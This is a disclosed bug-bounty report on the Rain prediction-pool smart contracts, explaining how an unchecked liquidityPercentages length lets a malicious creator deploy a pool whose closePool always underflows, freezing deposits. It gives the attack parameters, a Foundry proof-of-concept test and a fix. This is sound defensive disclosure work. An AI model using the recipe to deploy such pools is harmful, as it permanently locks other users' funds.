Rain Disclosed Report

https://github.com/hackenproof-public/rain-contracts

Vulnerability Details

Title: Mismatched Array Lengths Can Permanently Freeze Pools and Lock User Funds

The Problem: The RainPool.sol constructor fails to validate that the length of the liquidityPercentages array is equal to the numberOfOptions parameter. The constructor validates that the sum of all elements in liquidityPercentages equals 100, but then it only uses the first numberOfOptions elements to calculate the initial funds for each option and populate the allFunds state variable.

This discrepancy allows a malicious pool creator to deploy a pool where the internal accounting ledger (allFunds) represents only a fraction of the actual initialLiquidity transferred into the contract. This breaks a core protocol invariant: the internal ledger must accurately reflect the value it is supposed to manage. When closePool is later called, it calculates fees based on the full initialLiquidity and user deposits, leading to an arithmetic underflow when subtracting these fees from the artificially small allFunds, permanently bricking the pool's lifecycle.

The vulnerable code sequence in RainPool.sol is as follows:

The constructor validates the sum of the entire liquidityPercentages array.

uint256 liquidityPercentageSum = 0;
uint256 i = 0;
for (; i < params.liquidityPercentages.length; ) {
    liquidityPercentageSum += params.liquidityPercentages[i];
    unchecked {
        ++i;
    }
}
if (liquidityPercentageSum != 100) {
    _revert(InvalidLiquidityPercentage.selector);
}

However, it only uses the first numberOfOptions elements to populate the totalFunds mapping and allFunds variable, creating a potential mismatch between the real balance and the internal ledger.

i = 1;
for (; i <= numberOfOptions; ) {
    totalFunds[i] =
        (params.initialLiquidity * params.liquidityPercentages[i - 1]) /
        100;
    totalVotes[i] = params.initialLiquidity;
    allVotes += totalVotes[i];
    allFunds += totalFunds[i];
    unchecked {
        ++i;
    }
}

Impact & Attack Scenario

This vulnerability introduces a critical liveness failure and a direct vector for permanent loss of user funds without requiring a complex economic exploit. A simple, malicious deployment configuration can trigger it.

Impact: The protocol's promise of fund retrieval is broken. If a pool is created with the malicious parameters, the closePool function will always revert. Since closing the pool is a mandatory step before any claims or withdrawals can be processed, all user funds deposited into the pool become permanently frozen. This directly compromises user capital and undermines the fundamental reliability of the protocol.

Attack Scenario (Malicious Creator):

1. Setup: A malicious creator deploys a new RainPool with initialLiquidity of 10,000 tokens. They craft the parameters to exploit the vulnerability: numberOfOptions = 2 but liquidityPercentages = [1, 1, 98].
2. State Corruption: The constructor accepts these parameters because the liquidityPercentages array correctly sums to 100. However, it only processes the first two elements, setting the internal allFunds ledger to just 200 tokens (2% of 10,000), while the contract's actual token balance is 10,000.
3. User Deposit: An unsuspecting user, Alice, joins the pool and deposits 500 tokens. The contract's balance is now 10,500 tokens, and allFunds is updated to 700.
4. Liveness Failure: The pool's endTime passes. Any attempt to call closePool calculates fees based on the much larger initial liquidity and user deposits. When it tries to subtract these fees from the small allFunds ledger (700 tokens), the transaction reverts due to an arithmetic underflow.
5. Result: The pool is permanently bricked. It can never be closed. Alice cannot call claim() to retrieve her winnings or initial deposit because the pool's lifecycle is frozen. Her 500 tokens, along with the creator's 10,000 tokens, are locked in the contract forever.

Recommendation

The RainPool constructor must be modified to enforce that the length of the liquidityPercentages array is strictly equal to numberOfOptions. This ensures that the logic for validating the sum of percentages operates on the exact same data set as the logic for allocating initial funds, closing the vulnerability entirely.

The recommended fix is to add a single check in the constructor of RainPool.sol:

1. Add a length validation check:

   // In src/RainPool.sol
   
   constructor(Params memory params) {
       if (params.liquidityPercentages.length != params.numberOfOptions) {
           _revert(ArrayLengthMismatch.selector); // A new custom error
       }
       if (params.baseToken == address(0) || params.rainToken == address(0)) {
   // ... existing code ...
   

2. Define the new custom error in the IRainPool.sol interface:

   // In src/interfaces/IRainPool.sol
   
   // ... existing errors
   error ArrayLengthMismatch();
   

This change enforces the critical invariant that the declared number of options matches the provided liquidity distribution, aligning the internal accounting with the actual funds managed and preventing the liveness failure.

Here is a small PoC that can be added in RainPool.t.sol

function test_PoC_BrickPool_ByOverlongPercentages_CloseReverts() public {
        uint256[] memory badPercentages = new uint256[](3);
        badPercentages[0] = 1;
        badPercentages[1] = 1;
        badPercentages[2] = 98; // sums to 100 overall, but first N=2 sum to 2

        IRainDeployer.Params memory badParams = IRainDeployer.Params({
            isPublic: false,
            resolverIsAI: true,
            poolOwner: address(poolOwner),
            startTime: block.timestamp + 1 seconds,
            endTime: block.timestamp + 30 minutes,
            numberOfOptions: 2,
            oracleEndTime: block.timestamp + 60 minutes,
            ipfsUri: "QmBadPercents",
            initialLiquidity: initalLiquidity,
            liquidityPercentages: badPercentages,
            poolResolver: address(resolverPool)
        });

        baseToken.approve(
            address(rainDeployer),
            initalLiquidity + rainDeployer.oracleFixedFee()
        );

        address badPoolAddr = rainDeployer.createPool(badParams);
        RainPool badPool = RainPool(badPoolAddr);

        // User joins the pool with a small amount that keeps the pool bricked
        // Threshold D < ~57,894 base units for initialLiquidity=10e6 and current fees
        address user = makeAddr("brickUser");
        uint256 userAmt = 50_000; // 0.05 token (base units)
        deal(address(baseToken), user, userAmt);

        vm.warp(badParams.startTime + 10);
        vm.startPrank(user);
        baseToken.approve(address(badPool), userAmt);
        badPool.enterOption(1, userAmt);
        vm.stopPrank();

        // Pool actually holds initial + oracle fee + user deposit
        uint256 poolBal = baseToken.balanceOf(address(badPool));
        assertEq(
            poolBal,
            initalLiquidity + rainDeployer.oracleFixedFee() + userAmt,
            "Pool should custody user funds and initial liquidity"
        );

        vm.warp(badParams.endTime + 1);

        vm.expectRevert();
        vm.prank(poolOwner);
        badPool.closePool();

        uint256 expectedAllFunds = ((initalLiquidity * 2) / 100) + userAmt;
        assertEq(badPool.allFunds(), expectedAllFunds, "allFunds mismatch");
        uint256 expectedPlatformShare = ((initalLiquidity * platformFee) / 1000) + ((userAmt * platformFee) / 1000);
        assertEq(
            badPool.platformShare(),
            expectedPlatformShare,
            "platformShare should include constructor fee + user deposit fee"
        );

        // Users cannot claim because pool not finalized (winner unset)
        // Warp past the dispute window so claim fails with PoolNotClosed, not DisputeWindowNotEnded
        vm.warp(badParams.endTime + 61 minutes);
        vm.prank(user);
        vm.expectRevert(IRainPool.PoolNotClosed.selector);
        badPool.claim();
    }